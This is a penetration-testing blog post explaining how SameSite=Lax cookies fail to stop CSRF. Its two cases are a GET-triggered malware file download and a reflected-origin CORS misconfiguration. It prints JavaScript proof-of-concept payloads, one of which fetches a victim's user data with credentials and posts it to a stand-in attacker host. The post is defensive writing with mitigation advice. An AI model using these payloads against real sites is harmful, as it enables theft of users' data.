SameSite Lax Cookies - A False Sense of Security?

01-04-2025
Luca Distefano
SameSite Lax Cookies - A False Sense of Security?

SameSite Lax Cookies - A False Sense of Security?

Welcome back to our Real-World Penetration Testing Stories series, where we expose actual vulnerabilities discovered during security assessments and uncover how they can compromise entire systems. In our previous post, we showed how a broken access control flaw in a family management feature escalated all the way to super admin privileges. Now, we’re turning our attention to SameSite cookies—specifically, whether the Lax setting truly prevents Cross-Site Request Forgery (CSRF) attacks or if there’s more beneath the surface.

Does SameSite Lax Cookies Protect You from CSRF?

Cross-Site Request Forgery (CSRF) attacks remain one of the most common threats to web applications, despite numerous mitigation mechanisms available today. One such mechanism is the SameSite cookie attribute, which controls how cookies are sent with cross-site requests. While this attribute provides some level of protection, it’s far from foolproof. In this article, we’ll explore how CSRF vulnerabilities can still manifest, even with SameSite=Lax, and how combining this with other vulnerabilities can lead to devastating consequences.

The Discovery

While testing a web application, I noticed something unusual: there was no anti-CSRF mechanism implemented. Typically, an absence of CSRF tokens would set off alarms, so I quickly created a proof-of-concept (PoC) to test for CSRF exploitation. To my surprise, the attack didn’t work.

Curious, I started digging deeper to understand why. After analyzing the requests with BurpSuite, I discovered that the application had configured its cookies with the SameSite=Lax attribute.

What Does SameSite=Lax Mean? The SameSite attribute in cookies restricts how cookies are sent with cross-site requests. When set to Lax, cookies are not sent for most cross-origin requests, such as POSTs triggered by third-party sites. However, there is an important exception: cookies are still sent for top-level navigations (e.g., clicking a link) and GET requests initiated by third-party websites.

On the surface, this may seem like sufficient protection against CSRF, as most attacks rely on sending authenticated requests from another origin. But as we’ll see, this assumption can be dangerous.

Why SameSite=Lax Is Not Enough

The assumption that `SameSite=Lax` protects against CSRF can fall apart when certain vulnerabilities or behaviors are present. Here’s how I exploited this configuration in two different scenarios:

Case 1: Dangerous GET Requests and File Uploads

One key weakness of SameSite=Lax is that it doesn’t protect against malicious top-level GET requests. If an attacker can find a GET request with harmful consequences, the impact can be significant.

In this case, the web application allowed users to upload report templates as files, with no restrictions on file extensions. Uploaded files could later be downloaded via a simple GET request. Combining these behaviors, I created the following attack scenario:

  1. I uploaded a malicious file containing malware as a report template.

  2. I crafted a PoC that triggered a GET request to the file download endpoint when a victim visited a malicious webpage.

The malicious webpage includes the following JavaScript code:

<script> fetch("https://example.com/api/reports/download?fileId=123"); </script>

When a victim landed on the page, their browser automatically sent the GET request, downloading the malware. This simple yet effective attack bypassed SameSite=Lax, exploiting the lack of additional safeguards like content validation and download confirmation.

Case 2: CORS Misconfiguration Meets CSRF

In another instance, I encountered a mix of vulnerabilities that created a "perfect storm" for exploitation. While testing for CSRF, I noticed that the application reflected the Origin header value in its Access-Control-Allow-Origin header. Additionally, the Access-Control-Allow-Credentials header was present, allowing cookies to be sent in cross-origin requests.

Here’s how I exploited this:

  1. No CSRF Token: The application had no anti-CSRF tokens in place, leaving it vulnerable to CSRF.

  2. Sensitive GET Endpoint: The API exposed a GET endpoint that returned user information (/api/user/info).

  3. CORS Misconfiguration: The server allowed cross-origin requests from any origin specified in the Origin header.

I wrote a simple script that sent a GET request to the user information endpoint from a malicious website:

<script> 
  fetch("https://example.com/api/user/info", {
    credentials: "include"
  })
    .then(response => response.json())
    .then(data => {
      // Exfiltrate data to attacker-controlled server
      fetch("https://attacker.com/collect", {
        method: "POST",
        body: JSON.stringify(data)
      });
    }); 
</script>

Here is how the attack works:

  1. Automatic Cookie Inclusion: Setting credentials: include in the fetch options ensures that the victim’s browser sends its authenticated session cookies with the request. This is critical, as it allows the attacker’s malicious page (hosted on a different domain) to perform authenticated actions on behalf of the victim.

  2. CORS Misconfiguration: The server at https://example.com is misconfigured to reflect back the Origin header and also provides Access-Control-Allow-Credentials: true. This means the victim’s browser will trust cross-site requests from the attacker’s domain, allowing the malicious script to read and handle the response data.

  3. Data Exfiltration: Once the script receives the user information, it sends that data to https://attacker.com/collect. Because the CORS headers incorrectly permit cross-origin requests with credentials, the attacker can see the response data in their own script context, and then forward it to their own server.

Why This Matters

  • Bypassing SameSite Lax: While SameSite=Lax prevents most automatic cross-site requests, it doesn’t protect against certain GET-based navigations or scenarios where an attacker can exploit CORS rules.

  • No CSRF Tokens: Without an anti-CSRF token or other server-side validation, the user’s session can be hijacked via malicious requests.

  • Poorly Configured CORS: The lenient CORS configuration allows the attacker’s domain to access authenticated endpoints, making the vulnerability especially dangerous.

In short, the attack succeeds because the browser willingly includes valid credentials in a cross-origin request, and the server’s misconfiguration trusts the attacker’s domain, letting it read and exfiltrate the response.

Lessons Learned

These cases demonstrate that while SameSite=Lax provides a basic layer of protection, it is not a substitute for robust CSRF mitigation strategies. Here are some key takeaways:

  1. Avoid Dangerous GET Requests: Ensure sensitive operations (e.g., file downloads, data retrieval) are performed via POST requests, and validate user actions with additional mechanisms like confirmation dialogs or CAPTCHA.

  2. Implement Anti-CSRF Tokens: Anti-CSRF tokens remain a critical defense against CSRF, even when using SameSite=Lax.

  3. Harden CORS Configurations: Restrict Access-Control-Allow-Origin to trusted origins and avoid including Access-Control-Allow-Credentials unless absolutely necessary.

  4. Sanitize Uploaded Files: Enforce strict file type validation and scan uploads for malicious content.

Conclusion

While the SameSite=Lax cookie attribute is a valuable tool for mitigating CSRF attacks, it is far from infallible. As demonstrated, attackers can exploit GET requests and combine this with other vulnerabilities like CORS misconfigurations to devastating effect.

To truly protect your applications, adopt a defense-in-depth approach by combining SameSite attributes with robust anti-CSRF tokens, secure CORS policies, and careful validation of all user inputs and actions.

At WhiteHack, we specialize in uncovering hidden vulnerabilities and helping organizations secure their applications. If you’d like to learn more about how we can assist with penetration testing or security audits, feel free to reach out.